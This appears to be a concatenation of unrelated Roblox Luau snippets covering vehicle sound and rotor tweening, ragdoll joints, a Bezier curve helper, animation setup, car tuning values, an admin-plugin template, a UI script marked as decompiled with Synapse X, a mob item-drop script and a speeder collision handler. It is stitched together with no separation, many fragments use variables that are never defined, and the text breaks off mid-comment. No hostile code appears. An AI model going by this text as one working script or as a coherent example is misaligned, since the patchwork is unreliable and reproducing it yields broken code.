local onlyTriggersForThrottle = false local ZERO_VECTOR3 = Vector3.new(0,0,0) local betterHandlingInputStatesFlagExists, betterHandlingInputStatesFlagEnabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserBetterHandlingVehicleInputStates") end) local FFlagBetterHandlingVehicleInputStates = betterHandlingInputStatesFlagExists and betterHandlingInputStatesFlagEnabled local AUTO_PILOT_DEFAULT_MAX_STEERING_ANGLE = 35
---------------------- ---define variables--- ----------------------
local pathfinding=game:GetService("PathfindingService");--the service used to compute paths local AI=script.Parent;--the AI local humanoid=AI:WaitForChild("Humanoid");--the Humanoid object local torso=AI:WaitForChild("Torso");--the Torso object
---------------------------------------------------------------------------------------
local popupsAreOpen = script.Parent.Parent.PopupsAreOpen local clickedPlayButton = script.ClickedPlayButton local characterDied = game.ReplicatedStorage.CharacterDied local configuration = script.Parent.Parent.Settings local spawnItems = game.Workspace.SpawnItems local Sounds = script.Sounds
--Airflow = script.Parent.Parent.ChopperNB
ChopperNB = script.Parent.Parent.ChopperNB MuteNB = ChopperNB.Mute LoadWeight = script.LoadWeight MVal = script.MuteVal RotorMotor = script.Parent.Parent.Parent.Motor.Motor.HingeConstraint LoadWeight.Value = LoadWeight.NoBlowerW.Value script.Parent.BlowerOn.Changed:Connect(function() if script.Parent.BlowerOn.Value == false then --Airflow.HighAir.Disabled = true --Airflow.LowAir.Disabled = false local ts = game:GetService("TweenService") local t = ts:Create(script.Parent,TweenInfo.new(5),{Volume = 0}) local t3 = ts:Create(MVal,TweenInfo.new(4.4),{Value = 0}) local t2 = ts:Create(script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch,TweenInfo.new(1),{Value = 0.1}) local t4 = ts:Create(LoadWeight,TweenInfo.new(3),{Value = LoadWeight.NoBlowerW.Value}) --print("o1") t:Play() t2:Play() t3:Play() t4:Play() else --Airflow.HighAir.Disabled = false --Airflow.LowAir.Disabled = true local ts = game:GetService("TweenService") local t = ts:Create(script.Parent,TweenInfo.new(.85),{Volume = 4.5}) local t3 = ts:Create(MVal,TweenInfo.new(5),{Value = -80}) local t2 = ts:Create(script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch,TweenInfo.new(2),{Value = 0}) local t4 = ts:Create(LoadWeight,TweenInfo.new(.85),{Value = LoadWeight.BlowerW.Value}) --print("o2") t:Play() t2:Play() t3:Play() t4:Play() end end) function getChopperLevelPitch(pitch) return 0 --math.clamp((pitch-0.1)/script.Parent,0,1) end script.Parent.PlaybackSpeed = 0 CompletelyStopped = true script.Parent.On.Changed:Connect(function() if CompletelyStopped == true and script.Parent.On.Value == true then repeat game:GetService("RunService").Heartbeat:wait() CompletelyStopped = false script.Stopped.Value = false RotorMotor.AngularVelocity = script.Parent.PlaybackSpeed/0.00335 ChopperNB.PlaybackSpeed = script.Parent.PlaybackSpeed --/0.6801 ChopperNB.Volume = script.Parent.PlaybackSpeed/.9 MuteNB.HighGain = MVal.Value MuteNB.LowGain = MuteNB.HighGain MuteNB.MidGain = MuteNB.HighGain script.Parent.RollOffMaxDistance = script.RollOffMax.Value *script.Parent.Volume --7000 script.Parent.RollOffMinDistance = script.RollOffMin.Value *script.Parent.Volume --7000 if script.Parent.On.Value == true and script.Parent.PlaybackSpeed < script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+BlowerAddress.BeltSet.Sound.Pitch/7 then if script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value < 1 then if script.Parent.SoundComponents.NonAdjustable.NormalSound.Value < math.abs(script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value-1) then script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = math.abs(script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value-1) end end local clampval = math.clamp(math.ceil(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value),0,1) local pitch = script.Parent.SoundComponents.NonAdjustable.NormalSound.Value local formula = math.clamp(math.log(pitch+0.001,0.65)/320,0.00007,0.02)--pitch+0.001,0.75)/320,0.00007,0.02 --print(script.Parent.PlaybackSpeed) --print(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value) script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = math.clamp(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value + formula,0,2) script.Parent.PlaybackSpeed = (script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value+((BlowerAddress.BeltSet.Sound.Pitch/7)*clampval)))-1 elseif script.Parent.On.Value == false and script.Parent.PlaybackSpeed > 0 then if script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value < 1 then if script.Parent.SoundComponents.NonAdjustable.NormalSound.Value < math.abs(script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value-1) then script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = 0 end end local pitch = script.Parent.SoundComponents.NonAdjustable.NormalSound.Value --local formula = math.clamp(math.log(math.abs(pitch-1)+0.0001,0.06)/300,0.0004,0.07) local formula = math.clamp(math.log(math.abs(pitch-1)+0.0001,0.05)/LoadWeight.Value,0.0004,0.02) local clampval = math.clamp(math.ceil(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value),0,1) --print(formula) script.Parent.SoundComponents.NonAdjustable.NormalSound.Value = math.clamp(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value - formula,0,2) --+(script.Parent.Shift.Octave*math.clamp(0,1,math.ceil(math.abs(formula)))) script.Parent.PlaybackSpeed = ((script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value+((BlowerAddress.BeltSet.Sound.Pitch/7)*clampval))-1)*clampval) else local clampval = math.clamp(math.ceil(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value),0,1) script.Parent.PlaybackSpeed = ((script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+(script.Parent.SoundComponents.NonAdjustable.NormalSound.Value+((BlowerAddress.BeltSet.Sound.Pitch/7)*clampval))-1)*clampval) end --[[ if script.Parent.On.Value == true then --((math.clamp((incerment+0.001)-script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value/2,0,1) * 30)) if script.Parent.PlaybackSpeed >= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value then else --math.abs((((script.Parent.SoundComponents.NonAdjustable.ChopperLevelCurrent.Value-4)/20)+1 formula = (script.Parent.SoundComponents.NonAdjustable.StaticVoltage.Value*(1))/(70000*math.sqrt((script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value*((script.Parent.PlaybackSpeed+0.0001)/(script.Parent.SoundComponents.Configuration.ChopperLevel.Value-(script.Parent.PlaybackSpeed*(5-(math.abs(script.Parent.SoundComponents.Configuration.ChopperLevel.Value-4.6))))))))) --formula = (((script.Parent.SoundComponents.NonAdjustable.StaticVoltage.Value+script.Parent.SoundComponents.NonAdjustable.ChopperLevelCurrent.Value)/(incerment+0.01))*script.Parent.SoundComponents.NonAdjustable.Horsepower.Value)/(80000*math.sqrt((script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value)*(script.Parent.SoundComponents.NonAdjustable.Horsepower.Value))) end else if script.Parent.PlaybackSpeed <= 0 then else formula = (incerment+0.001)/(((500/(incerment+0.001))+math.sqrt(script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value))) end end --print(formula) --+math.sqrt(script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value) --print((incerment+0.001)/(((500/(incerment+0.001))+math.sqrt(script.Parent.SoundComponents.NonAdjustable.LoadWeight.Value)))) if script.Parent.On.Value == true then if script.Parent.PlaybackSpeed >= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value then if script.Parent.PlaybackSpeed >= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value then if script.Parent.PlaybackSpeed <= script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value then else script.Parent.PlaybackSpeed = math.clamp(script.Parent.PlaybackSpeed - math.clamp(formula,0.000005,0.001),0,script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value) end end else script.Parent.PlaybackSpeed = math.clamp(script.Parent.PlaybackSpeed + formula,0,script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value) end else if script.Parent.PlaybackSpeed <= 0 then else script.Parent.PlaybackSpeed = math.clamp(script.Parent.PlaybackSpeed - math.clamp(formula,0.000005,0.001),0,script.Parent.SoundComponents.NonAdjustable.MaxPitch.Value+script.Parent.SoundComponents.NonAdjustable.BlowerOffsetPitch.Value) end end --]] until script.Parent.SoundComponents.NonAdjustable.NormalSound.Value <= 0 CompletelyStopped = true RotorMotor.AngularVelocity = 0 script.Parent.PlaybackSpeed = 0 ChopperNB.PlaybackSpeed = 0 if BlowerAddress.Components.BlowerOn.Value == false then script.Parent.Volume = 0 end script.Stopped.Value = true end end) script.Parent.BlowerOn.Changed:Connect(function() if script.Parent.BlowerOn.Value == false and CompletelyStopped == true then script.Parent.Volume = 0 end end)
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Rev") if not FE then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.DriveSeat end car.DriveSeat.Rev:Play() while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 end else local handler = car.CarSound handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") local pitch=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume) end end
--character:WaitForChild("Humanoid").Died:connect(function()
local camera = workspace.CurrentCamera if camera.CameraSubject == character.Humanoid then--If developer isn't controlling camera camera.CameraSubject = character.UpperTorso end --Make it so ragdoll can't collide with invisible HRP, but don't let HRP fall through map and be destroyed in process character.HumanoidRootPart.Anchored = true character.HumanoidRootPart.CanCollide = false --Helps to fix constraint spasms recurse(character, function(_,v) if v:IsA("Attachment") then v.Axis = Vector3.new(0, 1, 0) v.SecondaryAxis = Vector3.new(0, 0, 1) v.Rotation = Vector3.new(0, 0, 0) end end) --Re-attach hats for _,child in next,character:GetChildren() do if child:IsA("Accoutrement") then --Loop through all parts instead of only checking for one to be forwards-compatible in the event --ROBLOX implements multi-part accessories for _,part in next,child:GetChildren() do if part:IsA("BasePart") then local attachment1 = part:FindFirstChildOfClass("Attachment") local attachment0 = getAttachment0(attachment1.Name) if attachment0 and attachment1 then --Shouldn't use constraints for this, but have to because of a ROBLOX idiosyncrasy where --joints connecting a character are perpetually deleted while the character is dead local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 --Simulate weld by making it difficult for constraint to move constraint.LowerAngle = 0 constraint.Parent = character end end end end end ragdollJoint(character.LowerTorso, character.UpperTorso, "Waist", "BallSocket", { {"LimitsEnabled",true}; {"UpperAngle",5}; }) --[[ragdollJoint(character.UpperTorso, character.Head, "Neck", "BallSocket", { {"LimitsEnabled",true}; {"UpperAngle",15}; })]] local handProperties = { {"LimitsEnabled", true}; {"UpperAngle",0}; {"LowerAngle",0}; } ragdollJoint(character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties) ragdollJoint(character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties) local shinProperties = { {"LimitsEnabled", true}; {"UpperAngle", 0}; {"LowerAngle", -75}; } ragdollJoint(character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties) ragdollJoint(character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties) local footProperties = { {"LimitsEnabled", true}; {"UpperAngle", 15}; {"LowerAngle", -45}; } ragdollJoint(character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties) ragdollJoint(character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties) --TODO fix ability for socket to turn backwards whenn ConeConstraints are shipped ragdollJoint(character.UpperTorso, character.LeftUpperArm, "LeftShoulder", "BallSocket") ragdollJoint(character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket") ragdollJoint(character.UpperTorso, character.RightUpperArm, "RightShoulder", "BallSocket") ragdollJoint(character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket") ragdollJoint(character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket") ragdollJoint(character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket")
-- O(n!)
local function createCurve(t, points) if SETTINGS.Debug == true then for _, point in points do newInstance("Part", { Position = point, Anchored = true, CanCollide = false, Size = Vector3.one, Color = Color3.fromRGB(0,255,0), Transparency = .5, Parent = workspace.Debris }) end end -- could use recursion, but lua doesn't have optimized tail calls. while #points > 1 do local tempPoints = points points = {} for i = 1, #tempPoints - 1 do local p1 = tempPoints[i] local p2 = tempPoints[i + 1] table.insert(points, lerp(p1, p2, t)) end end if SETTINGS.Debug == true then newInstance("Part", { Position = points[1], Anchored = true, CanCollide = false, Size = Vector3.one, Color = Color3.fromRGB(255,0,0), Transparency = .5, Parent = workspace.Debris }) end -- points[1] will contain the correct position at time 't' return points[1] end return createCurve
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} local allowCustomAnimations = true local AllowDisableCustomAnimsUserFlag = false local success, msg = pcall(function() AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2") end) if (AllowDisableCustomAnimsUserFlag) then allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- @Return RecoilSimulator
function WeaponRuntimeData:GetRecoilSimulator() return self.recoilSimulator end
-- assume we are in the character, let's check
function sepuku() script.Parent = nil end local h = script.Parent:FindFirstChild("Humanoid") if (h == nil) then sepuku() end local oldSpeed = h.WalkSpeed h.WalkSpeed = 47 local torso = script.Parent:FindFirstChild("HumanoidRootPart") if (torso == nil) then sepuku() end local head = script.Parent:FindFirstChild("Head") if (head == nil) then head = torso end local s = Instance.new("Sparkles") s.Color = Color3.new(.8, 0, .8) s.Parent = torso wait(7) h.WalkSpeed = oldSpeed s:Remove() script.Parent = nil
--Torque Converter:
Tune.TQLock = false -- Torque converter starts locking at a certain RPM (see below if set to true)
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 30000 -- Front brake force Tune.RBrakeForce = 30000 -- Rear brake force Tune.PBrakeForce = 30000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
-- Will apply a body part given the r15Folder and the r6Folder for that body part.
local function applyBodyPart(character, r15Folder, r6Folder) local humanoid = character:FindFirstChild("Humanoid") if humanoid.RigType == Enum.HumanoidRigType.R15 then for _, part in pairs(r15Folder:GetChildren()) do local oldPart = character:FindFirstChild(part.Name) if (oldPart) then part:Clone().Parent = character oldPart.Name = "" oldPart:Destroy() end end -- Rebuild the rig -- Note: if applying many body parts at once it is more efficient to call this after applying them all buildRigFromAttachments(nil, character.HumanoidRootPart) else for _, characterMesh in pairs(r6Folder:GetChildren()) do local oldCharacterMesh = getOldCharacterMesh(character, characterMesh) if oldCharacterMesh then oldCharacterMesh:Destroy() end characterMesh.Parent = character end end end local AssetService = game:GetService("AssetService") local InsertService = game:GetService("InsertService") function DressCharacter(character, packageId, allowTools) local PackageIds = AssetService:GetAssetIdsForPackage(packageId) local Humanoid = character:FindFirstChild("Humanoid") allowTools = (allowTools or false) for _,AssetId in pairs(PackageIds) do local Insert = InsertService:LoadAsset(AssetId) for _,Object in pairs(Insert:GetChildren()) do if (Object:IsA("Folder") and Object.Name == "R15") then applyBodyPart(character, Object, nil) elseif (Object:IsA("Tool") and allowTools) then Humanoid:EquipTool(Object) elseif (Object:IsA("Accessory") or Object:IsA("Hat")) then Humanoid:AddAccessory(Object) end end Insert:Destroy() end return true end return DressCharacter
--[[ SERVER PLUGINS' NAMES MUST START WITH "Server: " CLIENT PLUGINS' NAMES MUST START WITH "Client: " Plugins have full access to the server/client tables and most variables. You can use the MakePluginEvent to use the script instead of setting up an event. PlayerChatted will get chats from the custom chat and nil players. PlayerJoined will fire after the player finishes initial loading CharacterAdded will also fire after the player is loaded, it does not use the CharacterAdded event. service.HookEvent('PlayerChatted',function(msg,plr) print(msg..' from '..plr.Name..' Example Plugin') end) service.HookEvent('PlayerJoined',function(p) print(p.Name..' Joined! Example Plugin') end) service.HookEvent('CharacterAdded',function(plr) server.RunCommand('name',plr.Name,'BobTest Example Plugin') end) --]]
server = nil -- Mutes warnings about unknown globals service = nil return function() server.Commands.ExampleCommand = { Prefix = server.Settings.Prefix; -- Prefix to use for command Commands = {"example"}; -- Commands Args = {"arg1"}; -- Command arguments Description = "Example command"; -- Command Description Hidden = true; -- Is it hidden from the command list? Fun = false; -- Is it fun? AdminLevel = "Players"; -- Admin level; If using settings.CustomRanks set this to the custom rank name (eg. "Baristas") Function = function(plr,args) -- Function to run for command print("HELLO WORLD FROM AN EXAMPLE COMMAND :)") print("Player supplied args[1] "..tostring(args[1])) end } end
-- Replace the humanoid with an animationcontroller
local humanoid = npcModel:FindFirstChildOfClass("Humanoid") humanoid:Destroy() local animationController = Instance.new("AnimationController") animationController.Parent = npcModel
--[=[ @class BounceTemplateUtils @private ]=]
local BounceTemplate = script.Parent.BounceTemplate local CREATE_ONLY_LINK = false local BounceTemplateUtils = {} function BounceTemplateUtils.isBounceTemplate(instance) return instance:GetAttribute("IsBounceTemplate", true) == true end function BounceTemplateUtils.getTarget(instance) if not BounceTemplateUtils.isBounceTemplate(instance) then return nil end if instance:IsA("ObjectValue") then return instance.Value else local found = instance:FindFirstChild("BounceTarget") if found then return found.Value else warn("[BounceTemplateUtils.getTarget] - Bounce template without BounceTarget") return nil end end end function BounceTemplateUtils.create(target, linkName) assert(typeof(target) == "Instance", "Bad target") assert(type(linkName) == "string", "Bad linkName") if CREATE_ONLY_LINK then return BounceTemplateUtils.createLink(target, linkName) end local copy = BounceTemplate:Clone() copy:SetAttribute("IsBounceTemplate", true) copy.Name = linkName local objectValue = Instance.new("ObjectValue") objectValue.Name = "BounceTarget" objectValue.Value = target objectValue.Parent = copy return copy end function BounceTemplateUtils.createLink(target, linkName) assert(typeof(target) == "Instance", "Bad target") assert(type(linkName) == "string", "Bad linkName") local objectValue = Instance.new("ObjectValue") objectValue.Name = linkName objectValue.Value = target objectValue:SetAttribute("IsBounceTemplate", true) return objectValue end return BounceTemplateUtils
--FR
fSprings[2].Thickness = Settings[1] fSprings[2].MaxLength = Settings[2] fSprings[2].MinLength = Settings[3] fSprings[2].Damping = Settings[4] fSprings[2].FreeLength = Settings[5] fSprings[2].LimitsEnabled = Settings[6] fSprings[2].MaxForce = Settings[7] fSprings[2].Stiffness = Settings[8]
-- Call the module on the SlotsFolder
EquippedVal = require(script.InvSystem)(SlotsFolder)
--[=[ @within Ser @prop Classes table A dictionary of classes along with a Serialize and Deserialize function. For instance, the default class added is the Option class, which looks like the following: ```lua Ser.Classes.Option = { Serialize = function(opt) return opt:Serialize() end; Deserialize = Option.Deserialize; } ``` Add to this table in order to extend what classes are automatically serialized/deserialized. The Ser library checks every object's `ClassName` field in both serialized and deserialized data in order to map it to the correct function within the Classes table. ]=]
Ser.Classes = { Option = { Serialize = function(opt) return opt:Serialize() end; Deserialize = Option.Deserialize; }; }
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local l__TweenService__2 = game:GetService("TweenService"); local l__TextService__3 = game:GetService("TextService"); local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("NumberConvert")); local v5 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("GetPlatform")); if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("InGame").Value == false then script.Parent:WaitForChild("UIPadding").PaddingRight = UDim.new(0, 72); end; for v6, v7 in pairs(script:WaitForChild("StatModules"):GetChildren()) do local v8 = Instance.new("IntValue"); v8.Name = v7.Name .. "Val"; v8.Parent = v7; v8.Value = 0; local u1 = require(v7); local u2 = 0; local u3 = script.Parent:FindFirstChild(v7.Name); local function v9(p1) if p1 ~= nil then p1 = tonumber(p1); else p1 = u1.value; end; if type(p1) ~= "number" then return; end; if v5() == "console" then script.Parent.UIScale.Scale = 1.5; end; if not u2 then return; end; u2 = p1; u3.Size = UDim2.new(0, l__TextService__3:GetTextSize(tostring(p1), 40, "Oswald", Vector2.new(999, 999)).X, 1.5, 0); u3.TextSize = 40; if u2 < p1 then u3.TextColor3 = u3:GetAttribute("FadeIncrease"); u3.SoundIncrease:Play(); elseif p1 < u2 then u3.TextColor3 = u3:GetAttribute("FadeDecrease"); u3.SoundDecrease:Play(); if v7.Name == "Boosts" then script.Parent.BoostActive.Visible = true; u3.Visible = false; end; end; l__TweenService__2:Create(u3, TweenInfo.new(0.7, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { Size = UDim2.new(0, l__TextService__3:GetTextSize(tostring(p1), 30, "Oswald", Vector2.new(999, 999)).X, 1, 0), TextSize = 30, TextColor3 = Color3.new(1, 1, 1) }):Play(); l__TweenService__2:Create(u3, TweenInfo.new(0.7, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { TextColor3 = Color3.new(1, 1, 1) }):Play(); l__TweenService__2:Create(v8, TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Value = tonumber(p1) }):Play(); if p1 <= 0 then task.delay(0.4, function() u3.Visible = false; end); else u3.Visible = true; task.delay(0.41, function() u3.Visible = true; end); end; if v7.Name == "Boosts" and p1 < u2 then script.Parent.BoostActive.Visible = true; task.delay(0.5, function() u3.Visible = false; end); end; end; v8.Changed:Connect(function(p2) u3.Text = v4(p2); end); if v7.Name == "Gold" then local u4 = tick(); game:GetService("ReplicatedStorage"):WaitForChild("Bricks"):WaitForChild("GetGold").OnClientEvent:Connect(function(p3) u4 = tick() + 0.5; local v10, v11 = workspace.CurrentCamera:WorldToScreenPoint(p3); local v12 = script.Parent.Parent.Gold:Clone(); v12.Visible = true; v12.Name = "GoldLive"; v12.Position = UDim2.new(0, v10.X, 0, v10.Y); v12.Parent = script.Parent.Parent; game.Debris:AddItem(v12, 0.5); u3.Visible = true; local l__AbsolutePosition__13 = u3.Icon.AbsolutePosition; local l__AbsoluteSize__14 = u3.Icon.AbsoluteSize; l__TweenService__2:Create(v12, TweenInfo.new(0.5, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { Size = UDim2.new(0, l__AbsoluteSize__14.X, 0, l__AbsoluteSize__14.Y), Position = UDim2.new(0, l__AbsolutePosition__13.X + l__AbsoluteSize__14.X / 2, 0, l__AbsolutePosition__13.Y + l__AbsoluteSize__14.Y / 2) }):Play(); end); u1.event.Event:Connect(function(p4) task.wait(0.2); task.wait((math.max(u4 - tick(), 0))); if u4 ~= u4 then return; end; v9(); end); else u1.event.Event:Connect(v9); end; v9(); end;
--// Variables
local L_1_ = script.Parent local L_2_ = L_1_.Parent.Parent local L_3_ = L_2_:WaitForChild('Required') local L_4_ = L_2_:WaitForChild('BodyKit') local L_5_ = L_2_:WaitForChild('Networking') local L_6_ = L_2_:WaitForChild('Vals') local L_7_ = L_6_:WaitForChild('Owner') local L_8_ = require(L_2_:WaitForChild('Modules'):WaitForChild('Config_Module')) local L_9_ = L_3_:WaitForChild('Rotor') local L_10_ if L_3_:FindFirstChild('Rotor2') then L_10_ = L_3_.Rotor2 end local L_11_ = L_9_:WaitForChild('Top'):WaitForChild('Rotor') local L_12_ = L_9_:WaitForChild('Bottom'):WaitForChild('Rotor') local L_13_ local L_14_ if L_10_ then L_13_ = L_10_:WaitForChild('Top'):WaitForChild('Rotor') L_14_ = L_10_:WaitForChild('Bottom'):WaitForChild('Rotor') end local L_15_ local L_16_, L_17_ local L_18_ = false local L_19_ = L_2_:WaitForChild('FX') local L_20_ = game.ReplicatedStorage:FindFirstChild('[WB] Leaderstat Network') or nil local L_21_ = { L_2_ }
--Put this script in a mob to make it drop item. Don't forget to enable this script!
local item = Game.ReplicatedStorage.ITEMS:FindFirstChild(script.Item.Value):Clone() local Humanoid = script.Parent.Human function PwntX_X() local tag = Humanoid:FindFirstChild("creator") if tag ~= nil then if tag.Value ~= nil then if math.random(1, 100) <= script.DropChance.Value then local Leaderstats = tag.Value:FindFirstChild("StarterGear") local ll = tag.Value:FindFirstChild("Backpack") if Leaderstats ~= nil and ll~= nil then if script.KeptOnDeath.Value == true then item:Clone().Parent = Leaderstats item:Clone().Parent = ll else item:Clone().Parent = ll end wait(0.1) script:Remove() end end end end end Humanoid.Died:connect(PwntX_X)
--Wheelie tune
local WheelieD = 2 local WheelieTq = 85 local WheelieP = 10 local WheelieMultiplier = 1.5 local WheelieDivider = 2
-- Set up the click event handlers for each button
for _, button in ipairs(dock:GetChildren()) do if button:IsA("ImageButton") then button.MouseButton1Click:Connect(function() -- Create the jump tween local Click = script.Click local jumpTweenInfo = TweenInfo.new(jumpDuration, Enum.EasingStyle.Quad, Enum.EasingDirection.Out) local jumpTween = game:GetService("TweenService"):Create(button, jumpTweenInfo, { Size = UDim2.new(button.Size.X.Scale * jumpScale, button.Size.X.Offset, button.Size.Y.Scale * jumpScale, button.Size.Y.Offset), Position = UDim2.new(button.Position.X.Scale - ((jumpScale - 1) / 2), button.Position.X.Offset, button.Position.Y.Scale - ((jumpScale - 1) / 2), button.Position.Y.Offset) }) -- Play the jump tween jumpTween:Play() Click:Play() -- Reset the button's size and position after the jump is complete jumpTween.Completed:Connect(function() button.Size = UDim2.new(button.Size.X.Scale / jumpScale, button.Size.X.Offset, button.Size.Y.Scale / jumpScale, button.Size.Y.Offset) button.Position = UDim2.new(button.Position.X.Scale + ((jumpScale - 1) / 2), button.Position.X.Offset, button.Position.Y.Scale + ((jumpScale - 1) / 2), button.Position.Y.Offset) end) end) end end
-- Sets the mass of the specified part by adjusting its density so that all -- speeders will have the same mass (using static _DENSITY and _VOLUME)
local function SetMass(part) local volume = part.Size.X * part.Size.Y * part.Size.Z local newDensity = _DENSITY * _VOLUME / volume -- Defaults except newDensity (density, friction, elasticity) part.CustomPhysicalProperties = PhysicalProperties.new(newDensity, 0.3, 0.5) end -- SetMass() local function HandleCollision(collidedPart, part, self) local RaceTrack = workspace:FindFirstChild("Racetrack") local EnvironmentAssets = workspace:FindFirstChild("Environment Assets") local Plants = EnvironmentAssets:FindFirstChild("Plants") if not collidedPart:IsDescendantOf(self.speeder) and not collidedPart:IsDescendantOf(RaceTrack) and not collidedPart:IsDescendantOf(Plants) and not (collidedPart == workspace.SpeederSpawnLocation) then -- Create particle effect local particle = Explosion:Clone() particle.CFrame = part.CFrame particle.Parent = workspace character:Destroy() ExplosionSound:Play() local planeGui = PlayerGui:FindFirstChild("DesktopGui") or PlayerGui:FindFirstChild("ConsoleGui") or PlayerGui:FindFirstChild("MobileGui") if planeGui then planeGui.Enabled = false end local emitterChildren = particle:GetChildren() for _, child in pairs(emitterChildren) do -- If the child is a particle, then cause it to 